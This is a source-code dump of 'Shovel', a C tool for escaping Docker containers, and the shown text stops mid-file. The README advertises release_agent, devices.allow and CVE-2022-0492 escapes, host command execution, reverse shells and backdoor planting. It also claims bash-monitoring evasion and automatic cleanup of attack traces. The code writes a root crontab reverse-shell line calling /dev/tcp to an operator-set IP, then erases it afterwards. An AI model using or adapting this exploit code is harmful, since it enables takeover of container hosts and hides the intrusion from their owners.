[
  {
    "path": ".gitignore",
    "content": "CMakeLists.txt.user\nCMakeCache.txt\nCMakeFiles\nCMakeScripts\nTesting\nMakefile\ncmake_install.cmake\ninstall_manifest.txt\ncompile_commands.json\nCTestTestfile.cmake\n_deps\ncmake-build-debug\n.DS_Store\n**/.idea/\n\n# User-specific stuff:\n.idea/workspace.xml\n.idea/tasks.xml\n.idea/dictionaries\n.idea/vcs.xml\n.idea/jsLibraryMappings.xml\n\n# Sensitive or high-churn files:\n.idea/dataSources.ids\n.idea/dataSources.xml\n.idea/dataSources.local.xml\n.idea/sqlDataSources.xml\n.idea/dynamic.xml\n.idea/uiDesigner.xml\n\n# Gradle:\n.idea/gradle.xml\n.idea/libraries\n\n# Mongo Explorer plugin:\n.idea/mongoSettings.xml\n\n## File-based project format:\n*.iws\n\n## Plugin-specific files:\n\n# IntelliJ\n/out/\n\n# mpeltonen/sbt-idea plugin\n.idea_modules/\n\n# JIRA plugin\natlassian-ide-plugin.xml\n\n# Crashlytics plugin (for Android Studio and IntelliJ)\ncom_crashlytics_export_strings.xml\ncrashlytics.properties\ncrashlytics-build.properties\nfabric.properties\n\n### JetBrains Patch ###\n# Comment Reason: https://github.com/joeblau/gitignore.io/issues/186#issuecomment-215987721\n\n# *.iml\n# modules.xml\n# .idea/misc.xml\n# *.ipr\n"
  },
  {
    "path": "CMakeLists.txt",
    "content": "cmake_minimum_required(VERSION 2.8.12.2)\nproject(shovel C)\n\nset(CMAKE_C_STANDARD 99)\n\nadd_executable(shovel main.c exploits/release_agent.c exploits/release_agent.h docker/capability.c docker/capability.h util/output.c util/output.h exploits/cve_2022_0492.c exploits/cve_2022_0492.h docker/path.c docker/path.h util/regex_util.c util/regex_util.h util/random_str.c util/random_str.h exploits/devices_allow.c exploits/devices_allow.h util/program_info.c util/program_info.h util/utils.c util/utils.h util/custom_struts.c util/custom_struts.h docker/cgroup.c docker/cgroup.h docker/dev.c docker/dev.h util/mount_info.c util/mount_info.h docker/security.c docker/security.h)\n"
  },
  {
    "path": "README.md",
    "content": "## Shovel\n\nDocker容器逃逸工具\n\n1、通过mount命令逃逸触发告警？\n\n2、unshare命令发现没有-C参数？\n\n3、机器上没有各种语言的执行环境？\n\n4、逃逸程序太大不好下载？\n\n遇到以上问题那就用下这个程序吧，原理上就是逃逸的那一堆shell脚本，换成系统调用，绕过bash的监控\n\n![](./img/shovel.gif)\n\n## 功能\n\n* 支持的逃逸方式\n  * release_agent\n  * device_allow\n  * cve-2022-0492\n\n\n* 支持的存储驱动\n  * device_mapper\n  * aufs\n  * btrfs\n  * vfs\n  * zfs\n  * overlayfs\n\n\n* 支持的利用类型\n  * exec: 在宿主机执行命令\n  * shell: 获取宿主机shell\n  * reverse: 反弹shell\n  * backdoor: 向宿主机植入后门并运行\n\n\n* 自动清理攻击痕迹\n\n## 使用方式\n\n```text\nusage: shovel [options ...]\n\nOptions:\nOptions of program\n    -h, --help                           show help message\n    -v, --version                        show program version\nOptions of escape\n    -r, --release-agent                  escape by release-agent\n    -d, --devices-allow                  escape by devices-allow\n    -u, --cve-2022-0492                  get cap_sys_admin by cve-2022-0492 and return new namespace bash\nOptions of other\n    -p, --container_path=xxx             manually specify path of container in host,use this parameter if program can't get it automatically\n    -m, --mode=xxx                       the mode that needs to be returned after a successful escape { exec | shell | reverse | backdoor }\n    -c, --command=xxx                    set command in exec mode\n    -I, --ip                             set ip address in reverse mode\n    -P, --port                           set port in reverse mode\n    -B, --backdoor_path                  set backdoor file path\n    -y, --assumeyes                      automatically answer yes for all questions\nMode (-m) type guide\n    exec:     run a single command and return the result\n    shell:    get host shell in current console\n    reverse:  reverse shell to remote listening address\n    backdoor: put a backdoor to the host and execute\n```\n## 编译\n\n编译时尽量用低版本glibc，高版本glibc编译到老系统上没办法运行\n\n编译环境如果是Linux 4.6前，没有CLONE_NEWCGROUP常量,或者其他情况编译时出现以下报错\n\n```text\n/docker/opt/shovel/exploits/cve_2022_0492.c:30: error: 'CLONE_NEWCGROUP' undeclared (first use in this function)\n```\n\n可以用[no_0492](https://github.com/SPuerBRead/shovel/tree/no_0492) 这个branch的代码，这个版本的代码不包含cve-2022-0492的exp，换掉了一些c99的写法，使其尽可能在老机器上可以编译\n\n\n\n```shell\ncmake .\nmake\n```"
  },
  {
    "path": "docker/capability.c",
    "content": "//\n// Created by FlagT on 2022/6/22.\n//\n\n#include \"capability.h\"\n#include \"../util/output.h\"\n#include <linux/capability.h>\n#include <unistd.h>\n#include <string.h>\n#include <sys/syscall.h>\n#include <malloc.h>\n\nchar const *cap_name[__CAP_BITS] = {\n        /* 0 */    \"cap_chown\",\n        /* 1 */    \"cap_dac_override\",\n        /* 2 */    \"cap_dac_read_search\",\n        /* 3 */    \"cap_fowner\",\n        /* 4 */    \"cap_fsetid\",\n        /* 5 */    \"cap_kill\",\n        /* 6 */    \"cap_setgid\",\n        /* 7 */    \"cap_setuid\",\n        /* 8 */    \"cap_setpcap\",\n        /* 9 */    \"cap_linux_immutable\",\n        /* 10 */    \"cap_net_bind_service\",\n        /* 11 */    \"cap_net_broadcast\",\n        /* 12 */    \"cap_net_admin\",\n        /* 13 */    \"cap_net_raw\",\n        /* 14 */    \"cap_ipc_lock\",\n        /* 15 */    \"cap_ipc_owner\",\n        /* 16 */    \"cap_sys_module\",\n        /* 17 */    \"cap_sys_rawio\",\n        /* 18 */    \"cap_sys_chroot\",\n        /* 19 */    \"cap_sys_ptrace\",\n        /* 20 */    \"cap_sys_pacct\",\n        /* 21 */    \"cap_sys_admin\",\n        /* 22 */    \"cap_sys_boot\",\n        /* 23 */    \"cap_sys_nice\",\n        /* 24 */    \"cap_sys_resource\",\n        /* 25 */    \"cap_sys_time\",\n        /* 26 */    \"cap_sys_tty_config\",\n        /* 27 */    \"cap_mknod\",\n        /* 28 */    \"cap_lease\",\n        /* 29 */    \"cap_audit_write\",\n        /* 30 */    \"cap_audit_control\",\n        /* 31 */    \"cap_setfcap\",\n        /* 32 */    \"cap_mac_override\",\n        /* 33 */    \"cap_mac_admin\",\n        /* 34 */    \"cap_syslog\",\n        /* 35 */    \"cap_wake_alarm\",\n        /* 36 */    \"cap_block_suspend\",\n};\n\nvoid get_current_process_capability(struct __user_cap_header_struct *header, struct __user_cap_data_struct *caps) {\n    syscall(__NR_capget, header, caps);\n}\n\nint check_cap_sys_admin() {\n    printf_wrapper(INFO, \"Check if CAP_SYS_ADMIN exists in the current process Capabilities\\n\");\n    printf_wrapper(INFO, \"Current Process(%d) Capability:\\n\", getpid());\n    struct __user_cap_header_struct header = {_LINUX_CAPABILITY_VERSION_3, getpid()};\n    struct __user_cap_data_struct caps[_LINUX_CAPABILITY_U32S_3] = {};\n    get_current_process_capability(&header, (struct __user_cap_data_struct *) &caps);\n    printf_wrapper(INFO, \"CapEff: 0x%016llx\\n\", caps->effective);\n    printf_wrapper(INFO, \"CapInh: 0x%016llx\\n\", caps->inheritable);\n    printf_wrapper(INFO, \"CapPrm: 0x%016llx\\n\", caps->permitted);\n    cap_value_t cap;\n    const char *sep = \"\";\n    char *effective_capability_str = malloc(512 * sizeof(char));\n    memset(effective_capability_str, 0x00 ,512);\n    for (cap = 0; (cap < 64) && (caps->effective >> cap); ++cap) {\n        if (caps->effective & (1ULL << cap)) {\n            char *ptr;\n            ptr = (char *) cap_name[cap];\n            if (ptr != NULL) {\n                strcat(effective_capability_str, sep);\n                strcat(effective_capability_str, ptr);\n            } else {\n                printf_wrapper(WARNING, \"Cap to name failed cap: %d\\n\", cap);\n            }\n            sep = \",\";\n        }\n    }\n    printf_wrapper(INFO, \"Effective capability: %s\\n\", effective_capability_str);\n    if (strstr(effective_capability_str, cap_name[21])) {\n        free(effective_capability_str);\n        printf_wrapper(INFO, \"Current process has CAP_SYS_ADMIN\\n\");\n        return 1;\n    } else {\n        free(effective_capability_str);\n        printf_wrapper(INFO, \"Current process don't have CAP_SYS_ADMIN\\n\");\n        return 0;\n    }\n}\n\n"
  },
  {
    "path": "docker/capability.h",
    "content": "//\n// Created by FlagT on 2022/6/22.\n//\n\n#define __CAP_BITS   37\n#include <linux/capability.h>\n\n#ifndef SHOVEL_CAPABILITY_H\n#define SHOVEL_CAPABILITY_H\n#endif //SHOVEL_CAPABILITY_H\n\ntypedef int cap_value_t;\n\nchar const *cap_name[__CAP_BITS];\n\nint check_cap_sys_admin();"
  },
  {
    "path": "docker/cgroup.c",
    "content": "//\n// Created by FlagT on 2022/7/3.\n//\n\n#include <malloc.h>\n#include \"cgroup.h\"\n#include <string.h>\n#include <fcntl.h>\n#include \"../util/utils.h\"\n#include \"../util/regex_util.h\"\n\nint get_cgroup_id(char *cgroup_id) {\n    char *cgroup_path = \"/proc/1/cgroup\";\n    char *cgroup_data = (char *) malloc(1024 * 100 * sizeof(char));\n    memset(cgroup_data, 0x00, 1024 * 100);\n    read_file(cgroup_path, cgroup_data, O_RDONLY);\n    regex_util(cgroup_data,\n               \"\\\\d+?:[a-zA-Z0-9]*?:(/docker/[a-zA-Z0-9]{64}|/kubepods\\\\.slice/kubepods-burstable\\\\.slice/kubepods-burstable-pod[a-zA-Z0-9_-]+?\\\\.slice/docker-[a-zA-Z0-9]{64}\\\\.scope|/kubepods/burstable/pod[a-zA-Z0-9_-]+?/[a-zA-Z0-9]{64}|/kubepods/pod[a-zA-Z0-9_-]+?/[a-zA-Z0-9]{64})\",\n               cgroup_id);\n}\n"
  },
  {
    "path": "docker/cgroup.h",
    "content": "//\n// Created by FlagT on 2022/7/3.\n//\n\n#ifndef SHOVEL_CGROUP_H\n#define SHOVEL_CGROUP_H\n\n#endif //SHOVEL_CGROUP_H\n\n\nint get_cgroup_id(char *);\n"
  },
  {
    "path": "docker/dev.c",
    "content": "//\n// Created by FlagT on 2022/7/10.\n//\n\n#include \"dev.h\"\n#include \"../util/mount_info.h\"\n#include <string.h>\n#include <stdlib.h>\n#include <fcntl.h>\n#include \"../util/custom_struts.h\"\n#include \"../util/utils.h\"\n\nint get_host_dev_major_minor() {\n    char *mount_resolv_keyword = \"/resolv.conf\";\n    char *mount_hostname_keyword = \"/hostname\";\n    char *mount_host_keyword = \"/hosts\";\n    char *get_dev_major_minor_path = \"/proc/1/mountinfo\";\n\n    char *mountinfo_buffer = malloc((1024 * 1024) * sizeof(char));\n    memset(mountinfo_buffer, 0x00, (1024 * 1024));\n    read_file(get_dev_major_minor_path, mountinfo_buffer, O_RDONLY);\n    char **mountinfo_line = {0x00};\n    mountinfo_line = str_split(mountinfo_buffer, '\\n');\n    while (*mountinfo_line) {\n        char **mountinfo = {0x00};\n        mountinfo = str_split(*mountinfo_line, ' ');\n        if (strstr(mountinfo[3], mount_resolv_keyword) || strstr(mountinfo[3], mount_hostname_keyword) ||\n            strstr(mountinfo[3], mount_host_keyword)) {\n            char **major_minor = {0x00};\n            major_minor = str_split(mountinfo[2], ':');\n            host_dev_attribute.major = strtol(major_minor[0], NULL, 0);\n            host_dev_attribute.minor = strtol(major_minor[1], NULL, 0);\n            host_dev_attribute.fstype = malloc(10 * sizeof(char));\n            strcpy(host_dev_attribute.fstype, mountinfo[7]);\n            return 0;\n        } else {\n            *mountinfo_line++;\n        }\n    }\n    return -1;\n}"
  },
  {
    "path": "docker/dev.h",
    "content": "//\n// Created by FlagT on 2022/7/10.\n//\n\n#ifndef SHOVEL_DEV_H\n#define SHOVEL_DEV_H\n\n#endif //SHOVEL_DEV_H\n\n\nint get_host_dev_major_minor();"
  },
  {
    "path": "docker/path.c",
    "content": "//\n// Created by FlagT on 2022/6/22.\n//\n\n#include \"path.h\"\n#include <unistd.h>\n#include <fcntl.h>\n#include <string.h>\n#include <stdlib.h>\n#include <mntent.h>\n#include \"../util/regex_util.h\"\n#include \"../util/output.h\"\n#include \"../util/utils.h\"\n#include \"../util/mount_info.h\"\n\nenum STORAGE_DRIVERS {\n    DEVICE_MAPPER = 1,\n    AUFS = 2,\n    BTRFS = 3,\n    VFS = 4,\n    ZFS = 5,\n    OVERLAYFS = 6,\n    UNKNOWN = 7\n};\n\nint get_storage_driver_type() {\n    char *proc_mounts_path = \"/proc/mounts\";\n    char *mtab_path = \"/etc/mtab\";\n    char *vfs_mount_path = \"/proc/1/mountinfo\";\n    int length;\n    if (access(proc_mounts_path, F_OK) == 0 && ((length = load_mount_info(proc_mounts_path, mounts_info)) != 0)) {\n        for (int i = 0; i < length; i++) {\n            if (strcmp(mounts_info[i]->mnt_type, \"overlay\") == 0) {\n                printf_wrapper(INFO, \"Storage driver type: overlayfs\\n\");\n                return OVERLAYFS;\n            } else if (strstr(mounts_info[i]->mnt_fsname, \"/dev/mapper/docker\")) {\n                printf_wrapper(INFO, \"Storage driver type: devicemapper\\n\");\n                return DEVICE_MAPPER;\n            } else if (strcmp(mounts_info[i]->mnt_type, \"zfs\") == 0) {\n                printf_wrapper(INFO, \"Storage driver type: zfs\\n\");\n                return ZFS;\n            } else if (strcmp(mounts_info[i]->mnt_type, \"aufs\") == 0) {\n                printf_wrapper(INFO, \"Storage driver type: aufs\\n\");\n                return AUFS;\n            } else if (strcmp(mounts_info[i]->mnt_type, \"btrfs\") == 0) {\n                printf_wrapper(INFO, \"Storage driver type: btrfs\\n\");\n                return BTRFS;\n            }\n        }\n    }\n    if (access(mtab_path, F_OK) == 0 && ((length = load_mount_info(proc_mounts_path, mounts_info)) != 0)) {\n        for (int i = 0; i < length; i++) {\n            if (strcmp(mounts_info[i]->mnt_type, \"overlay\") == 0) {\n                printf_wrapper(INFO, \"Storage driver type: overlayfs\\n\");\n                return OVERLAYFS;\n            } else if (strstr(mounts_info[i]->mnt_fsname, \"/dev/mapper/docker\")) {\n                printf_wrapper(INFO, \"Storage driver type: devicemapper\\n\");\n                return DEVICE_MAPPER;\n            } else if (strcmp(mounts_info[i]->mnt_type, \"zfs\") == 0) {\n                printf_wrapper(INFO, \"Storage driver type: zfs\\n\");\n                return ZFS;\n            } else if (strcmp(mounts_info[i]->mnt_type, \"aufs\") == 0) {\n                printf_wrapper(INFO, \"Storage driver type: aufs\\n\");\n                return AUFS;\n            } else if (strcmp(mounts_info[i]->mnt_type, \"btrfs\") == 0) {\n                printf_wrapper(INFO, \"Storage driver type: btrfs\\n\");\n                return BTRFS;\n            }\n        }\n    }\n    if (access(vfs_mount_path, F_OK) == 0 && ((length = load_mount_info(vfs_mount_path, mounts_info)) != 0)) {\n        for (int i = 0; i < length; i++) {\n            if (strstr(mounts_info[i]->mnt_opts, \"/var/lib/docker/vfs\")) {\n                printf_wrapper(INFO, \"Storage driver type: vfs\\n\");\n                return VFS;\n            }\n        }\n\n    }\n    return UNKNOWN;\n}\n\nvoid get_container_path_in_host(char *container_path_in_host) {\n    switch (get_storage_driver_type()) {\n        case OVERLAYFS: {\n            char *regex_match_result = (char *) malloc(512 * sizeof(char));\n            for (int i = 0; i < 1024; i++) {\n                if (mounts_info[i] != NULL) {\n                    if (strcmp(mounts_info[i]->mnt_type, \"overlay\") == 0) {\n                        regex_util(mounts_info[i]->mnt_opts, \".*?perdir=(.*?),\", regex_match_result);\n                        if (strcmp(regex_match_result, \"\") != 0) {\n                            strcpy(container_path_in_host, regex_match_result);\n                            printf_wrapper(INFO, \"Container path in host: %s\\n\", container_path_in_host);\n                            break;\n                        } else {\n                            continue;\n                        }\n                    }\n                }\n            }\n            free(regex_match_result);\n            break;\n        }\n        case DEVICE_MAPPER: {\n            char *regex_match_result = (char *) malloc(512 * sizeof(char));\n            for (int i = 0; i < 1024; i++) {\n                if (mounts_info[i] != NULL) {\n                    if (strstr(mounts_info[i]->mnt_fsname, \"/dev/mapper/docker\")) {\n                        regex_util(mounts_info[i]->mnt_fsname, \"dev/mapper/docker-[0-9]*:[0-9]*-[0-9]*-(.*)\",\n                                   regex_match_result);\n                        if (strcmp(regex_match_result, \"\") != 0) {\n                            strcpy(container_path_in_host, \"/var/lib/docker/devicemapper/mnt/\");\n                            strcat(container_path_in_host, regex_match_result);\n                            strcat(container_path_in_host, \"/rootfs\");\n                            printf_wrapper(INFO, \"Container path in host: %s\\n\", container_path_in_host);\n                            break;\n                        } else {\n                            continue;\n                        }\n                    }\n                }\n            }\n            free(regex_match_result);\n            break;\n        }\n        case VFS: {\n            for (int i = 0; i < 1024; i++) {\n                if (mounts_info[i] != NULL) {\n                    if (strstr(mounts_info[i]->mnt_opts, \"/var/lib/docker/vfs\")) {\n                        strcpy(container_path_in_host, mounts_info[i]->mnt_opts);\n                        printf_wrapper(INFO, \"Container path in host: %s\\n\", container_path_in_host);\n                        break;\n                    } else {\n                        continue;\n                    }\n                }\n            }\n            break;\n        }\n        case ZFS: {\n            char *regex_match_result = (char *) malloc(512 * sizeof(char));\n            for (int i = 0; i < 1024; i++) {\n                if (mounts_info[i] != NULL) {\n                    if (strcmp(mounts_info[i]->mnt_type, \"zfs\") == 0) {\n                        regex_util(mounts_info[i]->mnt_fsname, \"/([a-z0-9]*$)\", regex_match_result);\n                        if (strlen(regex_match_result) == 64) {\n                            strcpy(container_path_in_host, \"/var/lib/docker/zfs/graph/\");\n                            strcat(container_path_in_host, regex_match_result);\n                            printf_wrapper(INFO, \"Container path in host: %s\\n\", container_path_in_host);\n                            break;\n                        } else {\n                            continue;\n                        }\n                    }\n                }\n            }\n            free(regex_match_result);\n            break;\n        }\n        case AUFS: {\n            char *regex_match_result = (char *) malloc(512 * sizeof(char));\n            char *si_id = (char *) malloc(512 * sizeof(char));\n            char *aufs_read_path = (char *) malloc(512 * sizeof(char));\n            for (int i = 0; i < 1024; i++) {\n                if (mounts_info[i] != NULL) {\n                    if (strcmp(mounts_info[i]->mnt_type, \"aufs\") == 0) {\n                        regex_util(mounts_info[i]->mnt_opts, \"si=([a-z0-9]*),\", si_id);\n                        if (strcmp(si_id, \"\") != 0) {\n                            strcpy(aufs_read_path, \"/sys/fs/aufs/si_\");\n                            strcat(aufs_read_path, si_id);\n                            strcat(aufs_read_path, \"/br0\");\n                            char *aufs_path_buffer = NULL;\n                            if (read_file(aufs_read_path, aufs_path_buffer, O_RDONLY) == -1) {\n                                printf_wrapper(ERROR, \"Get container path in host failed\\n\");\n                            }\n                            regex_util(aufs_path_buffer, \"^(.*?)=\", regex_match_result);\n                            strcpy(container_path_in_host, regex_match_result);\n                            printf_wrapper(INFO, \"Container path in host: %s\\n\", container_path_in_host);\n                            break;\n                        } else {\n                            continue;\n                        }\n                    }\n                }\n            }\n            free(regex_match_result);\n            free(si_id);\n            free(aufs_read_path);\n            break;\n        }\n        case BTRFS: {\n            char *regex_match_result = (char *) malloc(512 * sizeof(char));\n            for (int i = 0; i < 1024; i++) {\n                if (mounts_info[i] != NULL) {\n                    if (strcmp(mounts_info[i]->mnt_type, \"btrfs\") == 0) {\n                        regex_util(mounts_info[i]->mnt_opts, \"subvol=(/btrfs/subvolumes/[a-z0-9]{64})\",\n                                   regex_match_result);\n                        if (strcmp(regex_match_result, \"\") != 0) {\n                            strcpy(container_path_in_host, \"/var/lib/docker\");\n                            strcat(container_path_in_host, regex_match_result);\n                            printf_wrapper(INFO, \"Container path in host: %s\\n\", container_path_in_host);\n                            break;\n                        } else {\n                            continue;\n                        }\n                    }\n                }\n            }\n            free(regex_match_result);\n            break;\n        }\n    }\n}\n"
  },
  {
    "path": "docker/path.h",
    "content": "//\n// Created by FlagT on 2022/6/22.\n//\n\n#ifndef SHOVEL_PATH_H\n#define SHOVEL_PATH_H\n\n#endif //SHOVEL_PATH_H\n\n\nstruct mntent *mounts_info[1024];\nvoid get_container_path_in_host(char *);"
  },
  {
    "path": "docker/security.c",
    "content": "//\n// Created by FlagT on 2022/8/20.\n//\n\n#include \"security.h\"\n#include <string.h>\n#include <fcntl.h>\n#include <stdlib.h>\n#include \"../util/utils.h\"\n\n\nint apparmor_enable_check() {\n    char *apparmor_check_path = \"/proc/1/attr/apparmor/current\";\n    char *apparmor_status = (char *) malloc(1024 * 100 * sizeof(char));\n    memset(apparmor_status, 0x00, 1024 * 100);\n    int ret = read_file(apparmor_check_path, apparmor_status, O_RDONLY);\n    if (ret == -1) {\n        return -1;\n    }\n    if (strstr(apparmor_status, \"unconfined\")) {\n        return 1;\n    }\n    return 0;\n}\n\n\nlong int seccomp_enable_check() {\n    char *seccomp_check_path = \"/proc/1/status\";\n    char *process_status = (char *) malloc(1024 * 100 * sizeof(char));\n    memset(process_status, 0x00, 1024 * 100);\n    int ret = read_file(seccomp_check_path, process_status, O_RDONLY);\n    if (ret == -1) {\n        return -1;\n    }\n    char **status_line = {0x00};\n    status_line = str_split(process_status, '\\n');\n    long int status = -1;\n    while (*status_line) {\n        if (strstr(*status_line, \"Seccomp:\")) {\n            char *seccomp_status = malloc(128 * sizeof(char));\n            char *ptr;\n            memset(seccomp_status, 0x00, 128);\n            seccomp_status = str_replace(*status_line, \"Seccomp:\", \"\");\n            status = strtol(seccomp_status, &ptr, 10);\n        }\n        *status_line++;\n    }\n    return status;\n}\n\n\n\n\n"
  },
  {
    "path": "docker/security.h",
    "content": "//\n// Created by FlagT on 2022/8/20.\n//\n\n#ifndef SHOVEL_SECURITY_H\n#define SHOVEL_SECURITY_H\n\nint apparmor_enable_check();\n\nlong int seccomp_enable_check();\n\n#endif //SHOVEL_SECURITY_H\n"
  },
  {
    "path": "exploits/cve_2022_0492.c",
    "content": "//\n// Created by FlagT on 2022/6/22.\n//\n\n#define _GNU_SOURCE\n\n#include \"cve_2022_0492.h\"\n\n#include <fcntl.h>\n#include <stdlib.h>\n#include \"../util/output.h\"\n#include \"../docker/capability.h\"\n#include \"../util/utils.h\"\n\n#include <sched.h>\n#include <string.h>\n\nint check_max_user_namespace() {\n    char *max_user_namespace_path = \"/proc/sys/user/max_user_namespaces\";\n    char *max_user_namespace_path_buffer = malloc(64 * sizeof(char));\n    if (read_file(max_user_namespace_path, max_user_namespace_path_buffer, O_RDONLY) == -1) {\n        printf_wrapper(WARNING, \"Get max_user_namespace value failed\\n\");\n    }\n    int max_user_namespaces = strtol(max_user_namespace_path_buffer, NULL, 0);\n    free(max_user_namespace_path_buffer);\n    return max_user_namespaces;\n}\n\nint unshare_ns() {\n    int flags = CLONE_NEWUSER | CLONE_NEWCGROUP | CLONE_NEWNS;\n    int ret = unshare(flags);\n    if (ret == -1) {\n        printf_wrapper(ERROR, \"Create user namespace failed\\n\");\n        return -1;\n    }\n    return 0;\n}\n\nvoid set_uid() {\n    char *setgroups_path = \"/proc/self/setgroups\";\n    char *uid_map_path = \"/proc/self/uid_map\";\n    char *gid_map_path = \"/proc/self/gid_map\";\n    int setgroups_path_ret = write_file(setgroups_path, \"deny\", O_WRONLY);\n    int uid_map_path_ret = write_file(uid_map_path, \"0 0 1\", O_WRONLY);\n    int gid_map_path_ret = write_file(gid_map_path, \"0 0 1\", O_WRONLY);\n    if (setgroups_path_ret != 0 || uid_map_path_ret != 0 || gid_map_path_ret != 0) {\n        printf_wrapper(ERROR, \"Set current user nobody to root failed\\n\");\n    }\n}\n\n\nint cve_2022_0294() {\n    printf_wrapper(INFO, \"Check max_user_namespace to see if user namespace creation is allowed\\n\");\n    int max_user_namespaces = check_max_user_namespace();\n    if (max_user_namespaces != 0) {\n        printf_wrapper(INFO, \"Number of max_user_namespace is: %d\\n\", max_user_namespaces);\n        printf_wrapper(INFO, \"Try create mount/user/cgroup namespace\\n\");\n        if (unshare_ns() == -1) {\n            return 0;\n        }\n        printf_wrapper(INFO, \"Set current user nobody to root\\n\");\n        set_uid();\n        int sys_admin = check_cap_sys_admin();\n        if (sys_admin == 0) {\n            printf_wrapper(INFO, \"Attack by CVE-2022-0492 failed\\n\");\n            return 0;\n        } else {\n            return 1;\n        }\n    } else {\n        printf_wrapper(ERROR, \"Max user namespace is 0, can't create user namespace\\n\");\n        return 0;\n    }\n}\n"
  },
  {
    "path": "exploits/cve_2022_0492.h",
    "content": "//\n// Created by FlagT on 2022/6/22.\n//\n\n#ifndef SHOVEL_CVE_2022_0492_H\n#define SHOVEL_CVE_2022_0492_H\n\n#endif //SHOVEL_CVE_2022_0492_H\n\n\nint check_max_user_namespace();\n\nint cve_2022_0294();\n"
  },
  {
    "path": "exploits/devices_allow.c",
    "content": "//\n// Created by FlagT on 2022/6/25.\n//\n\n#include \"devices_allow.h\"\n#include \"../util/output.h\"\n#include <stdlib.h>\n#include \"../util/random_str.h\"\n#include \"../util/custom_struts.h\"\n#include \"../docker/dev.h\"\n#include <string.h>\n#include <sys/stat.h>\n#include <sys/mount.h>\n#include <fcntl.h>\n#include <sys/sysmacros.h>\n#include <unistd.h>\n#include <stdio.h>\n#include <sys/wait.h>\n#include \"../util/utils.h\"\n\nint reset_device_allow() {\n\n}\n\nvoid device_allow_clear_all() {\n    char *replace_buffer = malloc(1024 * 1024 * sizeof(char));\n    memset(replace_buffer, 0x00, 1024 * 1024);\n    int recover_ret = 0;\n    if (attack_info.attack_mode == REVERSE) {\n        char *file_buffer = malloc(1024 * 1024 * sizeof(char));\n        memset(file_buffer, 0x00, 1024 * 1024);\n        read_file(device_allow_attack_info.crontab_path, file_buffer, O_RDONLY);\n        replace_buffer = str_replace(file_buffer, device_allow_attack_info.exp, \"\");\n        if (replace_buffer == NULL) {\n            printf_wrapper(ERROR, \"Get recover crontab content failed\\n\");\n        }\n        recover_ret = write_file(device_allow_attack_info.crontab_path, replace_buffer, O_WRONLY | O_TRUNC);\n        if (recover_ret == -1) {\n            printf_wrapper(ERROR, \"Rewrite %s to clear exp failed\\n\", device_allow_attack_info.crontab_path);\n        }\n        free(file_buffer);\n    }\n    int remove_host_dev_file_ret = remove_file(device_allow_attack_info.host_dev_path);\n    if (remove_host_dev_file_ret == -1) {\n        printf_wrapper(ERROR, \"Delete host dev file %s failed\\n\", device_allow_attack_info.host_dev_path);\n    }\n    int umount_host_filesystem_ret = umount(device_allow_attack_info.host_filesystem_mount_path);\n    if (umount_host_filesystem_ret == -1) {\n        printf_wrapper(ERROR, \"Umount host filesystem %s failed\\n\",\n                       device_allow_attack_info.host_filesystem_mount_path);\n    }\n    int umount_cgroup_ret = umount(device_allow_attack_info.mount_path);\n    if (umount_cgroup_ret == -1) {\n        printf_wrapper(ERROR, \"Umount cgroup %s failed\\n\",\n                       device_allow_attack_info.mount_path);\n    }\n    if (replace_buffer == NULL || recover_ret == -1 || remove_host_dev_file_ret == -1 ||\n        umount_host_filesystem_ret == -1 || umount_cgroup_ret == -1) {\n        printf_wrapper(ERROR, \"Failed to clear attack related file\\n\");\n    } else {\n        printf_wrapper(INFO, \"Already clear attack related files\\n\");\n    }\n    free(replace_buffer);\n}\n\nint device_allow_reverse() {\n    char *crontab_path = malloc(1024 * sizeof(char));\n    memset(crontab_path, 0x00, 1024);\n    strcpy(crontab_path, device_allow_attack_info.host_filesystem_mount_path);\n    strcat(crontab_path, \"/etc/crontab\");\n    device_allow_attack_info.crontab_path = malloc(1024 * sizeof(char));\n    memset(device_allow_attack_info.crontab_path, 0x00, 1024);\n    strcpy(device_allow_attack_info.crontab_path, crontab_path);\n    char *exp = malloc(2048 * sizeof(char));\n    strcpy(exp, \"*/1 * * * * root \");\n    strcat(exp, \"bash -c \\\"bash -i >& /dev/tcp/\");\n    strcat(exp, attack_info.ip);\n    strcat(exp, \"/\");\n    strcat(exp, attack_info.port);\n    strcat(exp, \" 0>&1\\\"\\n\");\n    device_allow_attack_info.exp = malloc(2048 * sizeof(char));\n    memset(device_allow_attack_info.exp, 0x00, 2048);\n    strcpy(device_allow_attack_info.exp, exp);\n    if (write_file(crontab_path, exp, O_WRONLY | O_APPEND) == -1) {\n        printf_wrapper(ERROR, \"Write %s failed\\n\", crontab_path);\n        exit(EXIT_SUCCESS);\n    } else {\n        printf_wrapper(INFO, \"Write exp to %s\\n\", crontab_path);\n    }\n    free(crontab_path);\n    free(exp);\n    printf_wrapper(INFO,\n                   \"If the crontab is executed successfully, it will reverse shell to specified address within 1 minute, the program will wait for a minute and then clean up the crontab\\n\");\n    sleep(60);\n    device_allow_clear_all();\n    return 0;\n}\n\nint device_allow_shell() {\n    printf_wrapper(INFO, \"Chroot to %s\\n\", device_allow_attack_info.host_filesystem_mount_path);\n    int fd = open(\".\", O_RDONLY);\n    if (chroot(device_allow_attack_info.host_filesystem_mount_path) != 0) {\n        printf_wrapper(ERROR, \"Chroot to %s failed\\n\", device_allow_attack_info.host_filesystem_mount_path);\n        return -1;\n    }\n    printf_wrapper(INFO,\n                   \"This shell just chroot to host filesystem and run sh not real host shell, you can write/read host file, call 'exit' quit shell\\n\");\n    chdir(\"/\");\n    int pid = fork();\n    if (!pid) {\n        execvp(\"/bin/sh\", NULL);\n    }\n    printf_wrapper(INFO, \"New sh process pid: %d\\n\", pid);\n    if (waitpid(pid, NULL, 0) <= 0) {\n        printf(\"wait sh process exit failed\\n\");\n    }\n    if (fchdir(fd) < 0) {\n        printf_wrapper(ERROR, \"fchdir to container root failed\\n\");\n    }\n    close(fd);\n    for (int x = 0; x < 1024; x++) {\n        chdir(\"..\");\n    }\n    chroot(\".\");\n    device_allow_clear_all();\n    return 0;\n}\n\n\nint escape_by_device_allow() {\n    const int cgroup_path_random_length = 10;\n    char mount_path[128] = \"/tmp/tmp.\";\n    char *device_allow_path = malloc(512 * sizeof(char));\n    printf_wrapper(INFO, \"Start escape by device_allow\\n\");\n    char *cgroup_path_random = malloc(cgroup_path_random_length + 1);\n    rand_string(cgroup_path_random, cgroup_path_random_length);\n    strcat(mount_path, cgroup_path_random);\n    free(cgroup_path_random);\n    struct stat st = {0};\n    if (stat(mount_path, &st) == -1) {\n        mkdir(mount_path, 0700);\n    }\n    printf_wrapper(INFO, \"Cgroup devices controller mount path: %s\\n\", mount_path);\n    if (mount(\"devices\", mount_path, \"cgroup\", 0, \"devices\")) {\n        printf_wrapper(ERROR, \"Mount cgroup devices controller to 